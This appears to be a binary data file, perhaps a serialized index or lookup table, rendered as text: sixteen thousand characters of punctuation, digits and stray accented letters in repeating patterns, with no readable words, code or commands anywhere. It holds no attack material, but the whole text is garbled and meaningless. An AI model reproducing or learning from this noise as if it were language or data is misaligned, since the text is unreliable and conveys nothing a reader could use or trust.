! !ɸXǬ ! !`Ǭ:Ǭ ! !> !! !/ !" !( !# !%Ǭ !$:Ȟ !& !':`` !) !, !* !+`: !- !.:Ǭ:ɸ !0 !7 !1 !4 !2 !3ȂǬ: !5 !6ɸ`Ȭ !8 !; !9 !:ǬǞǬ !< !=:ǬǬ !? !M !@ !F !A !CǞ !BǬǞ !D !EǞǬ`Ǭ !G !J !H !IǬȬ:N !K !LǬȂȞǬ !N !U !O !R !P !QǬȬ: !S !T/ǬȞȐ !V !X !WǬ !Y !ZǬɸ`Ǭ !\ ! !] !z !^ !m !_ !f !` !c !a !b`7Ǭ !d !e:ǬȞ !g !j !h !i:ǬǬ !k !lN:Ǭ !n !t !o !r !p !qǞǬǬ/` !sȂ !u !x !v !w:Ǭ !yǬǬ !{ ! !| ! !} ! !~ !XȞ: ! !Ǭç` ! ! ! !:ǬȬǬ ! !Ǭ-Ǟ ! ! ! ! ! !:ɸǬ ! !ǞȞ: ! ! ! !X`Ǭ ! !ǬçǬ ! ! ! ! ! ! ! ! ! !AMǬ<)Ǭ ! !:Ǭ:Ǭ ! !Ǭ !Ǟ ! !:ǬȬǬ ! ! ! ! ! !Ǟ7XǬ !ǬǞr ! !Ǭ !Ǭ: !Ǭ7: ! ! ! ! ! ! ! !ȞǬ ! !:7:` ! ! !Ǭ` ! !ǬȂ`: ! ! ! !Ǭ !ǬȞ ! !nǬ`e ! ! ! !`ǬǬ !ш ! " ! "C ! " ! ! ! ! ! ! ! ! ! !:`/ ! !ȬȞȐȞ ! ! ! !::D ! !Ǭ: ! ! ! ! !ǬC ! !Ǟ` ! ! ! !ǬȞ/Ǭ !:Ǟ ! " ! ! ! ! !Ǭ: ! !Ȟ: ! ! ! !ǬǬ^ !Ǭ: " " " " " "`Ǭ` " "`7Ǭ " " " Ǭ " " Ǟ`Ǟ " ") " " " " " " " "`Ǭ3 "ȞǬ " " "`Ǭ "` " "" " "  "` "!ǬǬ "# "& "$ "%ç` "' "(`Ǭ`5 "* "7 "+ "0 ", "-Ǭ ". "//ǞǬ "1 "4 "2 "37: "5 "6Ⱥ "8 "= "9 "; ":Ǟ` "<`ɸX "> "@ "?ǬǬ "A "B:ǬYǬ "D "{ "E "c "F "U "G "N "H "K "I "JǬȞ "L "M7`c "O "R "P "Qc`Ǭ "S "TcǬ "V "] "W "Z "X "YǬǞǞ "[ "\/`c "^ "a "_ "`Ǭc "b` "d "o "e "j "f "h "gǬ: "i:: "k "m "lǬX "nǞ "p "t "q "r "s:ç "u "x "v "wǬǬ "y "zǬȂ "| " "} " "~ " " " " "ȂȞ: "Ȟ " " " "` ": " " " "` " " " " " "Ǭ " " " "Ǭ "Ǭ " " " " " " " " "Ǭ " " " " " " "` " " "` " " " " "Ǭ " " " "@: " "` " " " " " " " "Ǭ " " " " " " " "Ǭ " " " "Ǭ "Ǟ " " " " " "Ȟ " " " "Ǭ " &w " & " $ " # " #Y " # " " " " " " " " " ":: " ":ȐX " " ": " ":: " " " " " "`n:: ": " " ":: " ":-: " # " # " # #: #: # # # #::] # # : # # # # # # # #:: # # # #:Y: #: # #2 # #& # # # #: #:5 #Ȑ: #! ## #": #$ #%:: #' #- #( #* #): #+ #,6T #. #0 #//: #1: #3 #M #4 #J #5 #G: #6 #7: #8 #9 #: #; #< #= #> #? #@ #A #B #C #D #E #F #H #I-:: #K #L: #N #U #O #R #P #Qш #S #T6TȂ #V #W #X:6D #Z # #[ #x #\ #j #] #d #^ #a #_ #`6DN #b #c:ç #e #h #f #g:: #i #k #r #l #o #m #n:: #p #q:Ȑ: #s #v #t #u:: #w: #y # #z # #{ #} #|:O@ #~: # # # # # #:: # # # # # #:: # #Ȃ: # # #: # #:` # # # # # # # # #7 #:: # #: # #:: # # # # #r: # #: # # # #: #:X # # # # # # # #: # # # # # #:r # #:: # # # # # #=: #:: # #: # #r: # $? # $ # # # # # # # # # #:r: #: # # # #:: # #: # # # # # #:çȂ #:: # # # #:çȂ # #ç:Ȑ # # # # # # #:: #:6D # #: #: # # # # # # #Yr: # #6D: # $ $ $ɚ:Ȭ $ $: $ $# $ $ $ $ $ $ $ :ɚ $ $ :: $ $ $:: $ $Ǭ: $ $ $ $ $ $: $ $Ȑ: $ $ $ $:Ȃ $! $":r $$ $2 $% $, $& $) $' $(: $* $+:: $- $0 $. $/:Ǭ $1: $3 $9 $4 $6 $5: $7 $8:Ȃ: $: $< $;ç $= $>çȐ $@ $v $A $[ $B $P $C $I $D $F $E:Y $G $HX: $J $M $K $L:X $N $O7m:ɸ $Q $X $R $U $S $T`: $V $WY: $Y $Z:O $\ $g $] $c $^ $`: $_: $a $b:: $d $e $fb:7 $h $o $i $l $j $kY: $m $n`: $p $s $q $r:: $t $u:: $w $ $x $ $y $~ $z $| ${: $}: $ $ $ш:O $]: $ $ $ $ $ $:_:X $ $:: $: $ $:=: $ $ $ $ $ $: $r $ $:ɩ $ $: $ $ $:: $ $ $ $ $ $: $ $:: $ $ $ $:ɸX $:: $ %X $ $ $ $ $ $ $ $ $ $ $:: $ $ $ $n`ɸ $ $:=: $ $ $ $ $ $:: $: $ $ $ $Ȭ: $ç: $ $ $ $ $ $ $:: $ $ $ $: $ $7: $ $ $ $ $X $ $Ȭ: $ $ $: $: $ $ $ $ $ $ $: $ $ $ $r: $ $Ȑ $ $ $ $ $ $: $ $ $`: $ $ $ $ $: $: $ $: % %, % % % % % % % %: % %: % % % %  % : %: % % %<) %: % % % % % % % %: % %:: % %: %! %' %" %$ %#r %% %&:YǬ %( %* %): %+Ȑ %- %B %. %5 %/ %2 %0 %1Ǭ %3 %4: %6 %< %7 %9: %8n: %: %;XǬ %= %@ %> %?r %AȐ %C %M %D %J %E %G %F %H %I:ç %K %L: %N %Q %OȐ %P %R %U %S %T:Ȭ %V %W: %Y % %Z % %[ %w %\ %j %] %c %^ %a %_ %`:: %b %d %g %e %f: %h %i5 %k %q %l %o %m %n:: %p: %r %t: %s: %u %v: %x % %y %| %z: %{: %} %~: % % % % %: %: % % % %:Ȑ % %Ȃ: % % % % % % % % % %e: %Ȑ % %e % % % % % %e % %:: % % %-Ȃ % %:: % % % % %: %::ç % % % % % %:: % %: % %: %:: % % % % % % % % % % %Y %:: % % %: %: % % % % % %: % %O1 % % %: %:: % % % % % % %=: %: % % % %:: %: % % % % % %: %:Ǟ % % % %:: % %: % & % % % % % %6D % % %X: % % % % %: %: % &Ȃ & & & & &: &: & & & : &  & &M & &. & &! & & & & & & & &M & & & & & &:r & & & : &" &# &* &$ &' &% &&: &( &): &+ &, &-: &/ &> &0 &9 &1 &5 &2 &3 &4: &6 &7 &8: &: &; &< &=: &? &H &@ &D &A &B &C: &E &F &Gk; &I &J &K &Lr &N &g &O &a &P &U &Q &R &S &T: &V &Z &W &X &Y: &[ &^ &\ &] &_ &`Ȃ &b &c &d &e &f: &h &i &r &j &n &k &l &m: &o &p &q: &s &t &u &v: &x ) &y (+ &z '\ &{ & &| & &} & &~ & & & & & & &:: &:: & & &:ç &: & & & &: &Ǟ:: & & & & &:: & &: & & & & & & & &:: &Ȭ & & & &YǬ: & &:Ǭ: & & & &: & & &ɸ: & & &:ɚ: & &X:: & & & & & &: & &:Ǭ: & &: &ç: & &:ɸ: & & &:: &: & &: &: &: & & & & & & &::Ȑ &:: & & & &: & &ç: & & & &: &: &::Ȑ & & &:Ǭ & &Ǭç: & ' & & & & & & & & & &::: &:: & & &:: & & & & &:: & &X:: & & &:X: &::ç & ' & ' & ' ' 'ȐǬ: '::X ' ' ' ': ' ' : ' ' ' ' ' ' 'ç: ' ' ' '::7 ':Ǭ: ' 'B ' '7 ' '2 ' '/ ' '.: 'ç 'ç ' ç '!ç '"ç '#ç '$ç '%ç '&ç ''ç '(ç ')ç '*ç '+ç ',ç '-ç: '0 '1::` '3 '5: '4:X '6:Ǭ '8 '< '9 '; '::Ǭ:: '= '? '> '@ 'A::X 'C 'P 'D 'J 'E 'H 'F 'GǞ: 'I:: 'K 'M: 'LX 'N 'O:: 'Q 'V 'R 'T: 'S: 'U:ɸ` 'W 'Z 'X 'Yɸ:: '[<) '] ' '^ ' '_ 'u '` 'm 'a 'g 'b 'd: 'c 'e 'f:: 'h 'j: 'i8: 'k 'l<)Ȃ 'n 'r 'o: 'p 'qAMȐ 's: 't:: 'v ' 'w '} 'x 'z 'y:: '{ '|::Ȑ '~ ': ': 'ɸ: ' ' ' ' ' 'Ǭ: ' 'Ǭ: ' ' ':r: ' 'ǬX:Y ' ' ' ' ' ' ' ': '>\ ' 'X:: ' 'Ǭ ':Ȃ: ' ' ' ' ':: ' '::X ' ' ' 'Ǟ: ' ':: ' ' ' ' ' ' ' ':X:Ǭ ' '7:N ' ' 'Ǭ ' ':: ' ' ' ' ':] ':: ': ' ':5X: ' ' ' ' ' ' ' ' ' ' ' ':: ' ':: ' ' ' ':YȐ ' 'XǬ ' ' ': ' 'X: ':: ' ' ' ' ': ' ': ' 'Ȑ ': ' ':X ' ' ' ': ': ' ':: ' ' ' ': ':ç: ' ( ' ( ' ' ' ' ':: ': ' ( (:ç:: ( ( ( ( ( ( (::N: ( :Ȑ ( ( ( ( :: (:: ( ( ( ( ( ( ( (:X ( (:5Oo: ( ( ( (:: (:: ( (% (! (#: (" ($7: (& (( (' () (*: (, )1 (- ( (. (f (/ (L (0 (> (1 (8 (2 (5 (3 (4:5/7 (6 (7:: (9 (;: (:ȐȞ (< (=:X: (? (F (@ (C (A (B=: (D (E:ɸ (G (J (H (I: (K: (M (Y (N (S (O (Q (P:: (R::= (T (W (U (V:X: (X: (Z (` ([ (] (\:: (^ (_:Ȭ (a (c: (b: (d (e:/ (g ( (h (s (i (m (j (l: (k:: (n (p: (o: (q (r@: (t (y (u (w (v:` (x:: (z ( ({ ( (|:: (}: (~: (: (: (: (: (: (: (: (: (: (: (: (: (:@=: (::Ȃ ( ( ( ( ( (: ( (Ǟç: ( ( ( (:X:ç ( (:: ( ( ( (: (:: (:X ( ( ( (:XǬ (: ( ( ( ( ( ( ( ( ( ( ( (:: ( (XȂ: ( ( ( (:/ ( (@X: ( ( ( ( ( (Ǭ: (:X ( ( (:: ( (:ǬǬ: ( ( ( ( ( (: (ç ( (XX ( ( ( (X:Ǭ ( (XǬ: ( ( ( ( ( (:X ( (X7ǬX ( ( ( (X: ( (5 (5 (5 (5 (5 (5 (5 ( ( (5 (5 (5 (5 (5 (5 (55 (5 (55 ( (5 (5 (55 (5 ( (X:ç ( ) ) ) ) ) ) ) ) ):XX8 ) ):7:X ) : ) ) :Ǭ ) ) ) ): )= )XY ) ) ) )ǞȐ ) )X ) )' ) )" ) ) ) ):7: ) )!:X )# )% )$ɩ: )&` )( ). )) )+ )*: ), )-Ǭ: )/ )0 )2 )r )3 )W )4 )I )5 )= )6 )9 )7 )8 ): ); )<:ɸ: )> )C )? )A )@ )B: )D )G )E )F:: )H: )J )S )K )P )L )N )M: )OȐ )Q )R )T )U )V: )X )g )Y )_ )Z )[ )] )\ç )^: )` )c )a )b )d )f )e:: )h )n )i )j )l )k: )m: )o )p )q )s ) )t ) )u )| )v )w )z )x )y: ){: )} ) )~ ) ): ): ) ) ) ) ) ): ) ) ) ) ) ) ): ) ) ) ): ) ): ) ) ) ) ) ) ) ) ) ) ) ): ) + ) * ) * ) ) ) ) ) ) ) ) ) ) ) ):Ȃ ) )Ȃ7Ȑ ) ) ) ):: ) )Ȑ: ) ) ) ) ) ): )ȐшȐ ) ) ) ):: )Ȑ ) ) ) ) ) ) ) ):Ȑ ) ):ȐȂ ) ) ) )ɚȐȐ ) )>:Ǭ ) ) ) ) ) )Ȑ:ȐȂ ) )`:/: ) ) )Ȑ ) ):Ȑ: ) * ) ) ) ) ) ) ) ) ) ):: ) ) ) )Ȑ ) )Ȑ:Ȑ ) ) ) ) ) ):Ȑ: ) )::Ȑ ) * )::ȐȐ *7Ȃ * * * * * * * *ȐȂ5Ȑ * Ȑ * * * * ȐȐ: * *ǬȐȐ * * * *Ȑ *Ȑ: * *:ǬȐɸ * *: *Ȑ: * *ȐȐ * *Z * *= *! *. *" *( *# *& *$ *%Ȑ: *':Ȑ *) *, ** *+:ȐȐ: *-Ȑ */ *6 *0 *3 *1 *2Ȑ:: *4 *5Ȑ> *7 *: *8 *9Ȃç *; *<Ǟ:Ȑ *> *M *? *F *@ *C *A *BȐ::Ȑ *D *E:Ȃ:Ȑ *G *J *H *IȬ9lǬ *K *LȐ::Ȑ *N *T *O *Q *Pç *R *SȐ::Ȃ *U *W *VȐ: *X *YȐ9{:X *[ * *\ *w *] *a *^: *_ *`çȂ *b *e *c *dcȐ:Ȑ *f *gȂ: *h: *i: *j: *k: *l: *m: *n: *o: *p: *q: *r: *s: *t: *u: *v:@= *x *~ *y *{ *zȐ *| *}7çǬ * * * *ȐȺ * *ȐȂȐ * * * * * * * *ȂȐ: * * * * *Ȑɸ * *:ǬȐ: * * * * * *ȐȂ * *XX * * * *ȐȐ * * + * * * * * * * * * * * *: * *ȂȐ * *: * * *ɸ: * * * * * *:ȂX: *ȐX * * * *ȂȐXȐ *: * * * * * * * *:ȂȐX * *:ȐȐȂ * * * *Ȑ:= * *ȐȂȐǬ * * * * *Ȑ:ç * *Ȭ`Ȑɚ * * * *:Ȑ: * *ȂȐȐȞ * * * * * *Ȑ * *Ȑ * * * *Ȑ5ȐȂ * *<): * * * * * *ȐȂȐȂȐ * * * *:ȐǬȐ *:: * + * + * * * *Ȑ>Ȑ * +Ȑ:ȂȐ + + + +Ȑ:7 + +Ȑ:Ȃ + + + + + + Ȑ:Ȃ +ȐǬȐ + + + +:=ȐX + +Ȃ:: + +S + +7 + +( + +! + + + +5rȂ + + Ȃ7ǬȂ +" +% +# +$:Ȑ: +& +'Ȃ:Ȑ +) +0 +* +- ++ +,Ȑ7: +. +/:ш +1 +4 +2 +3:Ȑ7 +5 +6: +8 +F +9 +@ +: += +; +<ȐȐ +> +?Ȑç:Ȑ +A +D +B +CȂǬ: +EȐ:Ǭ +G +M +H +JȐ +I5 +K +L:^ +N +P +OȂ +Q +R:Ȑ +T +p +U +c +V +] +W +Z +X +Yç +[ +\ȂȐ +^ +a +_ +`:@ +b +d +j +e +g +fȐ +h +i>Ȑ +k +n +l +mшȂȐ: +oȐɸȐ +q + +r +x +s +u +t:Ȑ +v +w:ȂȐ +y +| +z +{:ɸ +} +~Ȃ: + + + + + +Ȭ:Ȑ + +XȐȬ + +Ȑ: + , + + + + + + + + + + + + + +ȐȐ + +c: + + +: + +:Ȑ: + + + + + +Ǭ +Ȑ + +Ȑ +: + +:ȂȂ + + + + + + + +:: +XȐ + +Ȑ + + + + +Ȑ +Ȑ + + +Ȑ + + + + + + + +: + +: + + + + + + + +ȐȂ + +Ȑ: + +Ȭ + + + +Ȑ +9l + + + + + + + + + + + +: + + +: + + + + + + + + + + +Ȑ + + + +: + + + + +Ǟ + , ,: , ,% , , , , , ,  , , , : , , ,  ,  , ,Ȑ , , , ,: , , , , , , ,Ȑ , , , ,! ," ,# ,$Ȑ ,& ,, ,' ,( ,) ,* ,+Ȑ ,- ,: ,. ,2 ,/ ,0 ,1 ,3 ,7 ,4 ,5 ,6Y ,8 ,9: ,; ,< ,= ,>Ȑ ,@ ,A ,B ,C ,D ,E ,F ,G ,H ,I ,J ,K ,L ,M ,N ,O ,P ,Q ,R ,S ,T ,U ,V ,W ,X ,Y ,Z ,[ ,\ ,] ,^ ,_ ,` ,a> ,c ,y ,d ,m ,e ,i ,f ,g ,h ,j ,k ,l ,n ,r ,o ,p ,q ,s ,v ,t ,u ,w ,x ,z , ,{ , ,| , ,} ,~> , ,> , , , , , , , , , , ,> , , , , , , , 4 , 1P , 1A , 1: , 17 , / , - , - , -j , -O , -8 , , , , -+ , - , - , - , , , , , , , , , , , , ,> , , , , , , , , , , , , , , , , , , ,` , ,nn , , , , , , , ,r` ,D , ,/ , , , , ,çȬ:Ȑ ,- , , , , , , , , , , ,7M , ,5Ȭ , , , , , , ,Ɋ5 , ,- , , , , , , , ,DcȺ , ,ɚȂ , ,` , , ,ɩ7m - - - - -  - - - - -  -  -  - - - - - - -> - - - - - -> - - - - - -! -" -# -$ -'> -% -&> -( -) -* -, -0 -- -. -/ -1 -2 -3 -4 -5 -6 -7 -9 -: -; -E -< -= -> -? -@ -A -B -C -D -F -G -H -I -J -K -L -M -N -P -] -Q -R -S -T -U -V -W -X -Y -Z -[ -\ -^ -_ -` -a -b -c -d -e -f -g -h -i -k -y -l -m -n -o -p -q -r -s -t -u -v -w -x -z - -{ -| -} -~ - - - - - - - - - - - - - - - - - - - -` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .} - .$ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . - - - - - - - - - - - - . . . . . . . . . .  .  . .  . . . . . . . . . . . . . . . . . . . .! ." .# .% .L .& .3 .' .( .) .* .+ ., .- .. ./ .0 .1 .2ç .4 .@ .5 .6 .7 .8 .9 .: .; .< .= .> .? .A .B .C .D .E .F .G .H .I .J .K .M .p .N .d .O .P .Z .Q .R .S .T .U .V .W .X .Y .[ .\ .] .^ ._ .` .a .b .c .e .f .g .h .i .j .k .l .m .n .o .q .r .s .t .u .v .w .x .y .z .{ .| .~ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5 . /K . / . / . . . / / / / / / / / / /  /  /  / /  / / / / / / / / / / / / / / / /5 / /* /  /! /" /# /$ /% /& /' /( /) /+ /, /- /. // /0 /1 /2 /3 /4 /6 /7 /A /8 /9 /: /; /< /= /> /? /@ /B /C /D /E /F /G /H /I /J /L /z /M /d /N /Y /O /P /Q /R /S /T /U /V /W /X /Z /[ /\ /] /^ /_ /` /a /b /c /e /f /p /g /h /i /j /k /l /m /n /o /q /r /s /t /u /v /w /x /y /{ / /| / /} /~ / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /- / / / / / / / / / / / / / / / /> / 0q / 0a / / / / / / / / 0? / 0- / 0 / / / / / / / / / / / / / / / / / / / / / / / / / / / / /> / / / />> /> / 0 / /7 / / />> / 0> 0> 0 0 0 0 0 0 0d>> 0 0 0 d> 0 0d@k 0 0 0 0 0 0 0 0 0> 0 0 0 0 0 0 0' 0 0$ 0 0" 0!@ 0# 0% 0&> 0( 0+ 0) 0*> 0, 0. 0/ 0: 00 01 06 02 04 03 05> 07 08 09> 0; 0< 0= 0> 0@ 0A 0B 0S 0C 0I 0D 0G 0E 0F 0H 0J 0P 0K 0N 0L 0M?,> 0O> 0Q 0R 0T 0W 0U 0V 0X 0^ 0Y 0\ 0Z 0[>> 0]> 0_ 0`? 0b 0c 0d 0e 0f 0g 0h 0i 0j 0k 0l 0m 0n 0o 0p@ 0r 0s 0t 0u 16 0v 0w 0x 0y 0 0z 0 0{ 0| 0} 0 0~ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0ç 0 0 0 0 0 0> 0 0 0 0 0 0 0H 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0Ǟ 0 0 0 0 0 0 0 0 0 0T 0 1" 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0Ȭ 0 0 0 0 1 1T 1 1 1 1 1 1 1  1  1 1 1  1 1 1 1 1 1 1 1Ȭ 1Ȭ 1 1 1 1 1 1 1 1  1 1!T 1# 1$ 1% 1& 1' 1( 1) 1* 1/ 1+ 1, 1- 1.Ȭ 10 11 12 14 13 15Ȭ 18 19I 1; 1> 1< 1=> 1? 1@ 1B 1I 1C 1F 1D 1E 1G 1H 1J 1M 1K 1L 1N 1O 1Q 4 1R 1V 1S 1T 1U 1W 1X 1Y 1Z 1[ 4i 1\ 2w 1] 2D 1^ 2' 1_ 1 1` 1 1a 1b 1c 1d 1e 1f 1g 1h 1i 1j 1k 1l 1m 1n 1o 1p 1q 1r 1 1s 1 1t 1 1u 1v 1 1w 1z 1x 1y 1{ 1} 1| 1~ 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1ç 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1l 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2  2  2  2  2  2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2  2! 2" 2# 2$ 2% 2& 2( 2) 2* 2+ 2, 2- 2. 2/ 20 21 2C 22 23 24 25 26 27 28 29 2: 2; 2< 2= 2> 2? 2@ 2A 2B 2E 2Q 2F 2G 2H 2I 2J 2K 2L 2M 2N 2O 2P 2R 2S 2m 2T 2U 2V 2W 2X 2Y 2Z 2[ 2\ 2] 2^ 2_ 2` 2a 2b 2c 2d 2e 2f 2g 2h 2i 2j 2k 2l 2n 2o 2p 2q 2r 2s 2t 2u 2v 2x 3 2y 2 2z 2 2{ 2 2| 2 2} 2~ 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 3O 2 2 3# 2 3 2 2 2 2 2 3 3 3 3 3 3 3 3 3 3 3  3  3  3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3  3! 3" 3$ 3? 3% 3& 3' 3( 3) 3> 3* 3< 3+ 3, 3- 3. 3/ 30 31 32 33 34 35 36 37 38 39 3: 3; 3= 3@ 3A 3B 3C 3D 3E 3F 3G 3H 3I 3J 3K 3L 3M 3N 3P 3s 3Q 3R 3Z 3S 3T 3U 3V 3W 3X 3Y 3[ 3\ 3] 3^ 3_ 3` 3a 3b 3c 3d 3e 3f 3g 3h 3i 3j 3k 3l 3m 3n 3o 3p 3q 3r 3t 3u 3v 3w 3x 3y 3z 3 3{ 3 3| 3} 3~ 3 3 3 3 3 3 3 3 4+ 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 4 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 4 4 4 4 4 4 4 4# 4 4  4  4  4 4 4  4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4! 4" 4$ 4% 4& 4' 4( 4) 4* 4, 4- 47 4. 4/ 40 41 42 43 44 45 46 48 49 4Q 4: 4; 4< 4= 4> 4? 4@ 4A 4B 4C 4D 4E 4F 4G 4H 4I 4J 4K 4L 4M 4N 4O 4P 4R 4S 4T 4U 4V 4W 4X 4Y 4Z 4[ 4\ 4] 4^ 4_ 4` 4a 4b 4c 4d 4e 4f 4g 4h 4j 4k 4y 4l 4m 4n 4o 4p 4q 4r 4s 4t 4u 4v 4w 4x 4z 4{ 4| 4} 4~ 4 4 4 4 4 4 4 4 4 4 4 4 4 4> 4 4> 4 4>> 4> 4 4>> 4> 4> 4> 4> 4> 4> 4> 4 4> 4> 4> 4> 4>> 4 4>> 4 4>> 4> 4 4>> 4 4>> 4> 4 4> 4> 4>>> 4> 4 4> 4>> 4> 4> 4> 4> 4> 4> 4> 4 4> 4> 4> 4>> 4 4> 4> 4>> 4 4> 4> 4>> 4 4>> 4> 4> 4> 4 4>> 4> 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 5 4 5 4 4 4 4 4 4 5 4 5 5 5> 5 5} 5 5+ 5 5 5  5  5  5  5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5  5! 5" 5# 5$ 5% 5& 5' 5( 5) 5* 5, 5- 5. 5/ 50 51 52 53 54 5c 55 56 57 58 59 5N 5: 5; 5< 5= 5> 5? 5@ 5A 5B 5C 5D 5E 5F 5G 5H 5I 5J 5K 5L 5M 5O 5P 5Q 5R 5S 5T 5U 5V 5W 5X 5Y 5Z 5[ 5\ 5] 5^ 5_ 5` 5a 5b 5d 5e 5f 5g 5h 5i 5j 5k 5l 5m 5n 5o 5p 5q 5r 5s 5t 5u 5v 5w 5x 5y 5z 5{ 5| 5~ 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 59 59 5 5 5 59 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 e 5 e 5 6 5 5 5 5 5 5 5 5d 5 5d 5 5 59 5 5 5 59 59 59 59 599 5 59 59 59 59 599 59 5 599 5 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 599 5 5 5 57 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 6 6 6 6 6 6 6 6 6 6 6  6  6  6 6 6 6 6 6 6 6B 6 6 6 8 6 6 6 6 6 6 6 6  6! 6" 6# 6$ 8z 6% 6& 6' 6( 6, 6) 6* 6+@ 6- 6. 6/ 60 61 6T 62 63 64 65 66 67 68 6F 69 6: 6@ 6; 6< 6= 6> 6?ç 6A 6B 6C 6D 6Eç 6G 6H 6I 6N 6J 6K 6L 6M5 6O 6P 6Q 6R 6S-5 6U 6V 6W 6X 6Y 6Z 7& 6[ 6j 6\ 6] 6^ 6_ 6f 6` 6a 6c 6b-5 6d 6e55 6g 6h 6i- 6k 6 6l 6 6m 6~ 6n 6q 6o 6p 6r 6y 6s 6v 6t 6u5ç 6w 6x5ç 6z 6| 6{5 6}55 6 6 6 6 6 6 6 65ɚ 6 6588 6 6 6 6 6 6 6 6ç55 6 657 6 6 6 6ɚȐ 6 6Ⱥ 6 6 6 6 6 6 6 6 6 65 65T 6 6 65 6 6 6 6 6 6 6DȬ 6ç 6 6 6 6ç 6 6 6 6 6 6 6 6Ⱥ 6 6Ⱥ 6 6 6 65 6 6 6 65 6 6 6--5 6 6 6 655 65 6 6 6 6 6 6 6 6 6 6 6 6ç 6 65T5ɚ5 6 6 6 6 6 65l 65 6 6 6 6 6 6 67 65 68 6ç 6 6 6 6çç 6 6 6 6çȺ 67 6 7 6 7 6 6 6 6 6ç 6ç 6 7 7çTȺ 7 7Ⱥ 7Ⱥ 7Ⱥ 7 7 7- 7 5 7 7 7 7 7 7ç 7Ⱥ 7 7 7 7 7ç 7 7ç 7 7 7 7 7 7-Ⱥ 7- 7! 7$ 7" 7#ççlç 7%lç 7' 7 7( 7 7) 7^ 7* 7C 7+ 76 7, 70 7- 7.5 7/- 71 73 72ç 74 75ç 77 7< 78 7: 79ç 7;` 7= 7@ 7> 7?çȬ 7A 7Bç5 7D 7R 7E 7L 7F 7I 7G 7Hç5 7J 7K-5Ⱥ 7M 7P 7N 7O`ç 7Qç 7S 7X 7T 7V 7U 7WȐ 7Y 7\ 7Z 7[5ç 7]çç 7_ 7n 7` 7e 7a 7b 7c 7dç 7f 7i 7g 7hç 7j 7l 7kç 7m- 7o 7y 7p 7t 7q 7r 7s|>k 7u 7w 7v 7x7 7z 7 7{ 7~ 7| 7}ɚ 7 7 7 75T 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 77 7 7 7 7 7 7ç 7 7Ⱥ 7 7 7ç55 7 7 7 7 7 7 7 75ç5 75l 7 7l 7- 7 7ɚçȐ 7 7 7 7 7ç 7 7 7ç 7 7-5 7 7 7 7 7 7 7 7 7 7-T 7 7 7Ⱥ 7T5 7 7 7 7 7 7 7 7D- 7 7-ç5 7 7 7- 7 7 7 7 7 7 7 7ç 7 7 7 75 7 7ç 7 8* 7 8 7 7 7 7 7 7 7 7Ⱥ 7 7 7 77 7 7 7 7 7 7ɚ 7 7 7ç 7 7ç- 7 7 7 7 7- 8 8 8 8 8 8 8 8 8ç 8 8  8  8  8  8 8çl 8 8 8 8 8 8 8T 8 8 8 8 8- 8 8 8$ 8 8" 8 8!TççȺ 8#ç5 8% 8' 8&ç 8( 8)ɩç 8+ 8U 8, 8? 8- 83 8. 8/ 81 805 82l 84 8; 85 88 86 87-ç 89 8:`çl 8< 8> 8=ç 8@ 8K 8A 8E 8B 8C 8D 8F 8I 8G 8H5l 8J5 8L 8S 8M 8P 8N 8O-ç 8Q 8R0F 8T` 8V 8g 8W 8` 8X 8[ 8Y 8ZȐ 8\ 8^ 8] 8_ç 8a 8d 8b 8c 8e 8f- 8h 8p 8i 8l 8j 8k 8m 8o 8nççç 8q 8u 8r 8s 8tç` 8v 8x 8w 8y5 8{ 8 8| 8} 8 8~ 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8ç5- 8 8 8 8 8 8 8çȺ 8 8 85r5 8 8 8 8ç 8 8` 8 8 8 8çç 8 8ç] 8 8 8 8 8 8 8T 8 8 8 8 8T5 